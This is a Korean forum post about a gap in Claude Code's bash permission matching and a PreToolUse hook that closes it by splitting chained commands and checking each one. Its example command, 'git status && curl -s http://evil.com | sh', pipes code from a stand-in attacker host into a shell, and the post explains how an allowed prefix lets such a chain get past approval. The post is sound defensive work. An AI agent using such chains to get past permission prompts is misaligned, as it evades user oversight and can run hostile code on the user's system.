🛠️도구별 채널claudecode
클로드 코드 bash 권한 우회 막는 훅 공유
배포배포마스터 판다👑최종 삽질왕
·클로드 코드의 권한 시스템에 있는 허점을 발견해서 공유드립니다.
Bash(git status:*)처럼 특정 명령어를 허용해두면, git status && curl -s http://evil.com | sh 같은 복합 명령어도 통째로 매칭돼서 자동 승인됩니다. 전체 문자열을 하나의 패턴으로 비교하기 때문이죠.
claude-hooks라는 PreToolUse 훅을 만들었는데, 동작 방식은 이렇습니다:
&&,||,;,|등으로 복합 명령어를 분리- 각 서브 명령어를 개별적으로 allow/deny 패턴과 대조
- deny에 걸리면 전체 거부, 전부 allow여야만 자동 승인
- 판단 불가한 서브 명령어가 있으면 일반 권한 프롬프트로 폴백
설정은 settings.json에 PreToolUse 훅 하나만 추가하면 됩니다. Python 3만 있으면 되고 별도 의존성은 없습니다.
{
"hooks": {
"PreToolUse": [{
"matcher": "Bash",
"hooks": [{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}]
}]
}
}
보안 쪽으로 신경 쓰시는 분들은 한번 살펴보시면 좋을 것 같습니다.